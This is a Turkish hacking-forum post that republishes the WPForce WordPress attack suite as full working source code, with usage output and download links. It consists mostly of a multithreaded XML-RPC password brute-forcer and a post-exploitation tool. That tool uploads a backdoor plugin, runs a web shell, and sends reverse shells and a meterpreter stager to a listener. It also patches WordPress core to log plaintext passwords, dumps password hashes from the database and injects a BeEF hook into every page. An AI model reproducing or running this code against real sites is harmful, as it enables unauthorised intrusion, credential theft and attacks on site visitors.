WPForce - Wordpress Attack Suite Cyberizm PHP Perl Code

WPZorlayıcı WordPress Deneme Yanılma Kırma Aracı 2017 Priv8 CDST

WPForce - Wordpress Attack Suite

[video=youtube]https://www.youtube.com/watch?v=FbKjQ7z0vsE[/video]

[video=youtube]https://www.youtube.com/watch?v=mURnM-Yp72g[/video]

[img]http://i.hizliresim.com/br6MM8.png[/img]

[img]http://i.hizliresim.com/qbv8R5.png[/img]

[img]http://i.hizliresim.com/M0DgWN.png[/img]

[img]http://i.hizliresim.com/Qa2YWk.png[/img]

[img]http://i.hizliresim.com/X06qq7.png[/img]

İngilizce olarak açıklanmış özellikler =>

Brute Force via API, not login form bypassing some forms of protection
Can automatically upload an interactive shell
Can be used to spawn a full featured reverse shell
Dumps WordPress password hashes
Can backdoor authentication fuction for plaintext password collection
Inject BeEF hook into all pages
Pivot to meterpreter if needed

Yüklemek için =>

[code]Yertle requires the requests libary to run.
http://docs.python-requests.org/en/master/user/install/[/code]

Ana Kodlar ve Kullanımı =>

[code]python wpforce.py -i usr.txt -w pass.txt -u "http://www.[website].com"

   ,-~~-.___.       __        __ ____   _____
  / |  x     \      \ \      / /|  _ \ |  ___|___   _ __  ___  ___
 (  )        0       \ \ /\ / / | |_) || |_  / _ \ | '__|/ __|/ _ \.
  \_/-, ,----'  ____  \ V  V /  |  __/ |  _|| (_) || |  | (__|  __/
     ====      ||   \_ \_/\_/   |_|    |_|   \___/ |_|   \___|\___|
    /  \-'~;   ||     |
   /  __/~| ...||__/|-"   Brute Force Attack Tool for Wordpress
 =(  _____||________|                 ~n00py~

Username List: usr.txt (3)
Password List: pass.txt (21)
URL: http://www[website].com
--------------------------
[[email protected] : xxxxxxxxxxxxx] are valid credentials!  - THIS ACCOUNT IS ADMIN
--------------------------
--------------------------
[[email protected] : xxxxxxxxxxxx] are valid credentials!
--------------------------
 100% Percent Complete
All correct pairs:
{'[email protected]': 'xxxxxxxxxxxxx', '[email protected]': 'xxxxxxxxxxxxx'}

 -h, --help            show this help message and exit
  -i INPUT, --input INPUT
                        Input file name
  -w WORDLIST, --wordlist WORDLIST
                        Wordlist file name
  -u URL, --url URL     URL of target
  -v, --verbose         Verbose output. Show the attemps as they happen.
  -t THREADS, --threads THREADS
                        Determines the number of threads to be used, default
                        is 10
  -a AGENT, --agent AGENT
                        Determines the user-agent
  -d, --debug           This option is used for determining issues with the
                        script.


python yertle.py -u "[username]" -p "[password]" -t "http://www.[website].com" -i
     _..---.--.    __   __        _   _
   .'\ __|/O.__)   \ \ / /__ _ __| |_| | ___
  /__.' _/ .-'_\    \ V / _ \ '__| __| |/ _ \.
 (____.'.-_\____)    | |  __/ |  | |_| |  __/
  (_/ _)__(_ \_)\_   |_|\___|_|   \__|_|\___|
   (_..)--(.._)'--'         ~n00py~
      Post-exploitation Module for Wordpress

Backdoor uploaded!
Upload Directory: ebwhbas
os-shell>



  -h, --help            show this help message and exit
  -i, --interactive     Interactive command shell
  -r, --reverse         Reverse Shell
  -t TARGET, --target TARGET
                        URL of target
  -u USERNAME, --username USERNAME
                        Admin username
  -p PASSWORD, --password PASSWORD
                        Admin password
  -li IP, --ip IP       Listener IP
  -lp PORT, --port PORT
                        Listener Port
  -v, --verbose         Verbose output.
  -e EXISTING, --existing EXISTING
                        Skips uploading a shell, and connects to existing
                        shell
[/code]

Yardım Sayfası Ana Kodları =>

[code]Core Commands
=============

Command                   Description
-------                   -----------
?                         Help menu
beef                      Injects a BeEF hook into website
exit                      Terminate the session
hashdump                  Dumps all WordPress password hashes
help                      Help menu
keylogger                 Patches WordPress core to log plaintext credentials
keylog                    Displays keylog file
meterpreter               Executes a PHP meterpreter stager to connect to metasploit
quit                      Terminate the session
shell                     Sends a TCP reverse shell to a netcat listener
stealth                   Hides Yertle from the plugins page[/code]

Wpforce.py Kodları =>

[code]import sys
import time
import socket
import urllib2
import argparse
import threading
__author__ = 'n00py)'
# These variables must be shared by all threads dynamically
correct_pairs = {}
total = 0

def has_colours(stream):
    if not hasattr(stream, "isatty"):
        return False
    if not stream.isatty():
        return False # auto color only on TTYs
    try:
        import curses
        curses.setupterm()
        return curses.tigetnum("colors") > 2
    except:
        return False
has_colours = has_colours(sys.stdout)
BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)


def printout(text, colour=WHITE):
        if has_colours:
                seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m"
                sys.stdout.write(seq)
        else:
                sys.stdout.write(text)


def slice_list(input, size):
    input_size = len(input)
    slice_size = input_size / size
    remain = input_size % size
    result = []
    iterator = iter(input)
    for i in range(size):
        result.append([])
        for j in range(slice_size):
            result[i].append(iterator.next())
        if remain:
            result[i].append(iterator.next())
            remain -= 1
    return result


def worker(wordlist,thread_no,url,userlist,verbose,debug,agent):
    global total
    global correct_pairs
    for n in wordlist:
        current_pass = wordlist.index(n)
        for x in userlist:
            current_user = userlist.index(x)
            user = userlist[current_user]
            password = wordlist[current_pass]
            if user not in correct_pairs:
                PasswordAttempt(user,password,url,thread_no,verbose,debug,agent)
        total += 1


def BuildThreads(list_array,url,debug,userlist,verbose,agent):
    if debug:
        print "Here is the content of the wordlists for each thread"
        for i in range(len(list_array)):
            print "Thread " + str(i)
            printout(str(list_array[i]), YELLOW)
            print "\n-----------------------------------------------------"
    threads = []
    for i in range(len(list_array)):
        t = threading.Thread(target=worker, args=(list_array[i], i, url,userlist,verbose,debug,agent))
        t.daemon = True
        threads.append(t)
        t.start()


def PrintBanner(input,wordlist,url,userlist,passlist):
    banner = """\
       ,-~~-.___.       __        __ ____   _____
      / |  x     \      \ \      / /|  _ \ |  ___|___   _ __  ___  ___
     (  )        0       \ \ /\ / / | |_) || |_  / _ \ | '__|/ __|/ _ \.
      \_/-, ,----'  ____  \ V  V /  |  __/ |  _|| (_) || |  | (__|  __/
         ====      ||   \_ \_/\_/   |_|    |_|   \___/ |_|   \___|\___|
        /  \-'~;   ||     |
       /  __/~| ...||__/|-"   Brute Force Attack Tool for Wordpress
     =(  _____||________|                 ~n00py~
    """
    print banner
    print ("Username List: %s" % input) + " (" + str(len(userlist)) + ")"
    print ("Password List: %s" % wordlist) + " (" + str(len(passlist)) + ")"
    print ("URL: %s" % url)


def TestSite(url):
    protocheck(url)
    print "Trying: " + url
    try:
        urllib2.urlopen(url, timeout=3)
    except urllib2.HTTPError, e:
        if e.code == 405:
            print url + " found!"
            print "Now the brute force will begin!  >:)"
        if e.code == 404:
            printout(str(e), YELLOW)
            print " - XMLRPC has been moved, removed, or blocked"
            sys.exit()
    except urllib2.URLError, g:
        printout("Could not identify XMLRPC.  Please verify the domain.\n", YELLOW)
        sys.exit()
    except socket.timeout as e:
        print type(e)
        printout("The socket timed out, try it again.", YELLOW)
        sys.exit()


def PasswordAttempt(user, password, url, thread_no,verbose,debug,agent):
    if verbose is True or debug is True:
        if debug is True:
            thready = "[Thread " + str(thread_no) + "]"
            printout(thready, YELLOW)
        print "Trying " + user + " : " + password + "\n",
    headers = {'User-Agent': agent,
               'Connection': 'keep-alive',
               'Accept': 'text/html'
               }
    post = "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>" + user + "</string></value></param><param><value><string>" + password + "</string></value></param></params></methodCall>"
    try:
        req = urllib2.Request(url, post, headers)
        response = urllib2.urlopen(req, timeout=3)
        the_page = response.read()
        look_for = "isAdmin"
        try:
            splitter = the_page.split(look_for, 1)[1]
            correct_pairs[user] = password
            print "--------------------------"
            success = "[" + user + " : " + password + "] are valid credentials!  "
            adminAlert = ""
            if splitter[23] == "1":
                adminAlert = "- THIS ACCOUNT IS ADMIN"
            printout(success, GREEN)
            printout(adminAlert, RED)
            print "\n--------------------------"
        except:
            pass
    except urllib2.URLError, e:
        if e.code == 404 or e.code == 403:
            global total
            printout(str(e), YELLOW)
            print " - WAF or security plugin likely in use"
            total = len(passlist)
            sys.exit()
        else:
            printout(str(e), YELLOW)
            print " - Try reducing Thread count "
            if args.verbose is True or args.debug is True:
                print user + ":" + password + " was skipped"
    except socket.timeout as e:
        printout(str(e), YELLOW)
        print " - Try reducing Thread count "
        if args.verbose is True or args.debug is True:
            print user + ":" + password + " was skipped"
    except socket.error as e:
        printout(str(e), YELLOW)
        print " - Got an RST, Probably tripped the firewall\n",
        total = len(passlist)
        sys.exit()


def protocheck(url):
    if "http" not in url:
        printout("Please include the protocol in the URL\n", YELLOW)
        sys.exit()
def main():
    parser = argparse.ArgumentParser(description='This is a tool to brute force Worpress using the Wordpress API')
    parser.add_argument('-i','--input', help='Input file name',required=True)
    parser.add_argument('-w','--wordlist',help='Wordlist file name', required=True)
    parser.add_argument('-u','--url',help='URL of target', required=True)
    parser.add_argument('-v','--verbose',help=' Verbose output.  Show the attemps as they happen.', required=False, action='store_true')
    parser.add_argument('-t','--threads',help=' Determines the number of threads to be used, default is 10', type=int, default=10, required=False)
    parser.add_argument('-a','--agent',help=' Determines the user-agent', type=str, default="WPForce Wordpress Attack Tool 1.0", required=False)
    parser.add_argument('-d','--debug',help=' This option is used for determining issues with the script.', action='store_true', required=False)
    args = parser.parse_args()
    url = args.url + '/xmlrpc.php'
    u = open(args.input, 'r')
    userlist = u.read().split('\n')
    totalusers = len(userlist)
    f = open(args.wordlist, 'r')
    passlist = f.read().split('\n')
    PrintBanner(args.input,args.wordlist,args.url,userlist,passlist)
    TestSite(url)

    list_array = slice_list(passlist, args.threads)
    BuildThreads(list_array,url,args.debug,userlist,args.verbose,args.agent)
    while (len(correct_pairs) <= totalusers) and (len(passlist) > total):
            time.sleep(0.1)
            sys.stdout.flush()
            percent = "%.0f%%" % (100 * (total)/len(passlist))
            print " " + percent + " Percent Complete\r",
    print "\nAll correct pairs:"
    printout(str(correct_pairs), GREEN)
    print ""

if __name__ == "__main__":

    main()[/code]

Yertle.Py Dosyası =>

[code]import re
import sys
import base64
import readline
import requests
import argparse
from random import choice
from string import ascii_lowercase
__author__ = '(n00py)'


def uploadbackdoor(host,username,password,type,verbose, agent):
    if host.endswith('/'):
        host = host[:-1]
    url = host + '/wp-login.php'
    headers = {'user-agent': agent,
               'Accept-Encoding' : 'none'
    }
    payload = {'log': username,
               'pwd': password,
               'rememberme': 'forever',
               'wp-submit': 'log In',
               'redirect_to': host + '/wp-admin/',
               'testcookie': 1,
               }
    uploaddir = (''.join(choice(ascii_lowercase) for i in range(7)))
    session = requests.Session()

    r = session.post(url, headers=headers, data=payload)
    if verbose is True:
        print "Server Header: " + r.headers['Server']
    if r.status_code == 200:
        if verbose is True:
            print "Found Login Page"
    r3 = session.get(host + '/wp-admin/plugin-install.php?tab=upload',headers=headers)
    if r3.status_code == 200:
        if verbose is True:
            print "Logged in as Admin"
    look_for = 'name="_wpnonce" value="'
    try:
        nonceText = r3.text.split(look_for, 1)[1]
        nonce = nonceText[0:10]
        if verbose is True:
            print "Found CSRF Token: " + nonce
    except:
        print "Didn't find nonce"

    files = {'pluginzip': (uploaddir + '.zip', open(type +'.zip', 'rb')),
             '_wpnonce': (None, nonce),
             '_wp_http_referer': (None, host + '/wp-admin/plugin-install.php?tab=upload'),
             'install-plugin-submit': (None,'Install Now')

             }
    r4 = session.post(host + "/wp-admin/update.php?action=upload-plugin",headers=headers, files=files)
    if r.status_code == 200:
        print "Backdoor uploaded!"
        if "Plugin installed successfully" in r4.text:
            if verbose is True:
                print "Plugin installed successfully"

        if "Destination folder already exists" in r4.text:
            if verbose is True:
                print "Destination folder already exists"
    print "Upload Directory: " + uploaddir
    return uploaddir


def commandloop(host,uploaddir):
    while True:
        cmd = raw_input('os-shell> ')
        params = [('cmd', cmd.encode('base64'))]
        if (cmd == "quit") or (cmd == "exit"):
            sys.exit(2)
        elif cmd == "help" or cmd == "?":
            print '''
            Core Commands
            =============
                Command                   Description
                -------                   -----------
                ?                         Help menu
                beef                      Injects a BeEF hook into website
                exit                      Terminate the session
                hashdump                  Dumps all WordPress password hashes
                help                      Help menu
                keylogger                 Patches WordPress core to log plaintext credentials
                keylog                    Displays keylog file
                meterpreter               Executes a PHP meterpreter stager to connect to metasploit
                quit                      Terminate the session
                shell                     Sends a TCP reverse shell to a netcat listener
                stealth                   Hides Yertle from the plugins page
                '''
        elif cmd == "hashdump":
            hashdump(host, uploaddir)
        elif cmd == "shell":
            shell(host, uploaddir)
        elif cmd == "stealth":
            stealth(host, uploaddir)
        elif cmd == "keylogger":
            keylogger(host, uploaddir)
        elif cmd == "keylog":
            keylog(host, uploaddir)
        elif cmd == "meterpreter":
            meterpreter(host, uploaddir)
        elif cmd == "beef":
            beefhook(host, uploaddir)
        else:
            print "Sent command: " + cmd
            sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
            print sendcommand.text


def reverseshell(host, ip, port,uploaddir):
    params = [('ip', ip), ('port', port)]
    print "Sending reverse shell to " + ip + " port " + port
    sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/reverse.php", params=params)


def datacreds(host,uploaddir):
    params = [('cmd', 'cat ../../../wp-config.php'.encode('base64'))]
    sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
    user =  credextract(sendcommand.text, 'DB_USER')
    password = credextract(sendcommand.text, 'DB_PASSWORD')
    host = credextract(sendcommand.text, 'DB_HOST')
    db = credextract(sendcommand.text, 'DB_NAME')
    return host, user, password, db


def credextract(list, key):
    s = list
    start = s.find(key)
    end = s.find(';', start)
    s = s[start:end]
    se = s.split("'")
    return se[2]


def shell(host,uploaddir):
    ip = raw_input('IP Address: ')
    port = raw_input('Port: ')
    params = [('cmd', ('php -r \'$sock=fsockopen("' + ip + '",' + port + ');exec("/bin/bash -i <&3 >&3 2>&3");\'').encode('base64'))]
    try:
        print "Sending reverse shell to " + ip + " port " + port
        requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params, timeout=1)
    except requests.exceptions.Timeout:
        pass


def keylog(host,uploaddir):
    params = [('cmd', ('cat passwords.txt').encode('base64'))]
    sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
    print sendcommand.text


def stealth(host,uploaddir):
    hidden_shell = '''<?php
$command = $_GET["cmd"];
$command = substr($command, 0, -1);
$command = base64_decode($command);
if (class_exists('ReflectionFunction')) {
   $function = new ReflectionFunction('system');
   $thingy = $function->invoke($command );
} elseif (function_exists('call_user_func_array')) {
   call_user_func_array('system', array($command));
} elseif (function_exists('call_user_func')) {
   call_user_func('system', $command);
} else {
   system($command);
}
?>
'''
    payload = hidden_shell.encode('base64')
    params = [
        ('cmd', ('php -r \'echo base64_decode("' + payload + '");\' > shell.php').encode('base64'))]
    requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)


def warning():
    cmd = raw_input('This module modifies files within the WordPress core.  Would you like to continue? (Y/n) ')
    if ("y" in cmd) or("Y" in cmd):
        return True
    else:
        return False


def meterpreter(host,uploaddir):
    ip = raw_input('IP Address: ')
    port = raw_input('Port: ')
    meter = '''<?php
error_reporting(0);
$ip   = '%s';
$port = %s;
if (($f = 'stream_socket_client') && is_callable($f)) {
    $s      = $f("tcp://{$ip}:{$port}");
    $s_type = 'stream';
} elseif (($f = 'fsockopen') && is_callable($f)) {
    $s      = $f($ip, $port);
    $s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
    $s   = $f(AF_INET, SOCK_STREAM, SOL_TCP);
    $res = @socket_connect($s, $ip, $port);
    if (!$res) {
        die();
    }
    $s_type = 'socket';
} else {
    die('no socket funcs');
}
if (!$s) {
    die('no socket');
}
switch ($s_type) {
    case 'stream':
        $len = fread($s, 4);
        break;
    case 'socket':
        $len = socket_read($s, 4);
        break;
}
if (!$len) {
    die();
}
$a   = unpack("Nlen", $len);
$len = $a['len'];
$b   = '';
while (strlen($b) < $len) {
    switch ($s_type) {
        case 'stream':
            $b .= fread($s, $len - strlen($b));
            break;
        case 'socket':
            $b .= socket_read($s, $len - strlen($b));
            break;
    }
}
$GLOBALS['msgsock']      = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();
?>
''' % (ip, port)
    payload = meter.encode('base64')
    params = [
        ('cmd', ('php -r \'echo base64_decode("' + payload + '");\' > meterpreter.php').encode('base64'))]
    sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
    params = [
        ('cmd', 'php meterpreter.php'.encode('base64'))]
    try:
        print "Sending meterpreter stager to connect back to " + ip + ":" + port
        sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params, timeout=1)
    except requests.exceptions.Timeout:
        pass
    print sendcommand.text


def keylogger(host,uploaddir):
    if warning():
        hook = '''$credentials['remember'] = false;
         $file = 'wp-content/plugins/%s/passwords.txt';
         $credz = date('Y-m-d') . " - Username: " . $_POST['log'] . " && Password: " . $_POST['pwd'] . "\n";
         file_put_contents($file, $credz, FILE_APPEND | LOCK_EX);''' % (uploaddir)

        hook = hook.encode('base64')
        injector = '''<?php
    $real = "JGNyZWRlbnRpYWxzWydyZW1lbWJlciddID0gZmFsc2U7";
    $evil = "%s";
    $real = base64_decode($real);
    $evil = base64_decode($evil);
    $orig=file_get_contents('../../../wp-includes/user.php');
    $orig=str_replace("$real", "$evil",$orig);
    file_put_contents('../../../wp-includes/user.php', $orig);
    ?>''' % hook
        payload = injector.encode('base64')
        params = [
            ('cmd', ('php -r \'echo base64_decode("' + payload + '");\' > backdoor.php').encode('base64'))]
        requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
        params = [
            ('cmd', 'php backdoor.php'.encode('base64'))]
        requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
        print "wp_signon function patched.  Do not run this more than once.  Use 'keylog' to check the log file."


def hashdump(host,uploaddir):
    items = datacreds(host, uploaddir)
    dumper = '''<?php
$servername = "%s";
$username = "%s";
$password = "%s";
$dbname = "%s";
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
$sql = "SELECT ID, user_login, user_pass, user_email FROM wp_users";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
    // output data of each row
    while($row = $result->fetch_assoc()) {
        echo "ID: " . $row["ID"]. "  - Username: " . $row["user_login"]. "  Password: " . $row["user_pass"]. "  Email: " . $row["user_email"]. "\n";
    }
} else {
    echo "0 results";
}
$conn->close();
?> ''' % (items[0], items[1], items[2], items[3])
    payload = dumper.encode('base64')

    params = [
    ('cmd', ('php -r \'echo base64_decode("' + payload + '");\' > hashdump.php').encode('base64'))]
    sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
    params = [
    ('cmd', 'php hashdump.php'.encode('base64'))]
    sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
    print sendcommand.text


def beefhook(host,uploaddir):
    if warning():
        ip = raw_input('IP Address: ')
        params = [
            ('cmd',('sed -i \'1i\<script src=\"http://' + ip + ':3000/hook.js\"\>\</script\>\'  ../../../wp-blog-header.php').encode('base64'))]
        sendcommand = requests.get(host + "/wp-content/plugins/" + uploaddir + "/shell.php", params=params)
        print "BeEF hook added!  Check BeEF for any hooked clients. Do not run this multiple times."


def printbanner():
    banner = """\
     _..---.--.    __   __        _   _
   .'\ __|/O.__)   \ \ / /__ _ __| |_| | ___
  /__.' _/ .-'_\    \ V / _ \ '__| __| |/ _ \.
 (____.'.-_\____)    | |  __/ |  | |_| |  __/
  (_/ _)__(_ \_)\_   |_|\___|_|   \__|_|\___|
   (_..)--(.._)'--'         ~n00py~
      Post-exploitation Module for Wordpress
    """
    print banner


def argcheck(interactive,reverse,target):
    if interactive and reverse:
        print "-i and -r are mutually exclusive"
        sys.exit()

    if interactive is False and reverse is False:
        print "You must choose a type of shell: --reverse or --interactive"
        sys.exit()

    if "http" not in target:
        print"Please include the protocol in the URL"
        sys.exit()


def main():
    parser = argparse.ArgumentParser(description='This a post-exploitation module for Wordpress')
    parser.add_argument('-i','--interactive', help='Interactive command shell',required=False, action='store_true')
    parser.add_argument('-r','--reverse',help='Reverse Shell', required=False, action='store_true')
    parser.add_argument('-t','--target',help='URL of target', required=True)
    parser.add_argument('-u','--username',help='Admin username', required=False)
    parser.add_argument('-p','--password',help='Admin password', required=False)
    parser.add_argument('-a', '--agent', help='Custom User Agent', required=False, default='Yertle backdoor uploader')
    parser.add_argument('-li','--ip',help='Listener IP', required=False)
    parser.add_argument('-lp','--port',help='Listener Port', required=False)
    parser.add_argument('-v','--verbose',help=' Verbose output.', required=False, action='store_true')
    parser.add_argument('-e','--existing',help=' Skips uploading a shell, and connects to existing shell', required=False)
    args = parser.parse_args()
    printbanner()
    argcheck(args.interactive,args.reverse,args.target)
    if args.interactive:
        if args.existing is None:
            if args.username is None or args.password is None:
                print "Username and Password are required"
                sys.exit()
            uploaddir = uploadbackdoor(args.target, args.username, args.password, "shell", args.verbose, args.agent)
        else:
            uploaddir = args.existing
        commandloop(args.target,uploaddir)

    if args.reverse:
        if args.ip is None or args.port is None:
            print "For a reverse shell, a listening IP and Port are required"
            sys.exit()
        if args.existing is None:
            if args.username is None or args.password is None:
                print "Username and Password are required"
                sys.exit()
            uploaddir = uploadbackdoor(args.target, args.username, args.password, "reverse", args.verbose, args.agent)
        else:
            uploaddir = args.existing
        reverseshell(args.target, args.ip, args.port, uploaddir)


if __name__ == "__main__":
    main()[/code]

Yardım Makalesi =>

[hide][code]https://www.n00py.io/2017/03/squeezing-the-juice-out-of-a-compromised-wordpress-server/[/code][/hide]

Dosyayı İndirme Linki =>

[hide][code]https://github.com/n00py/WPForce[/code][/hide]

### Selam ve Duam ile. Makalenin Tamamı Mr. KingSkrupellos Cyberizm.Org'a aittir. ####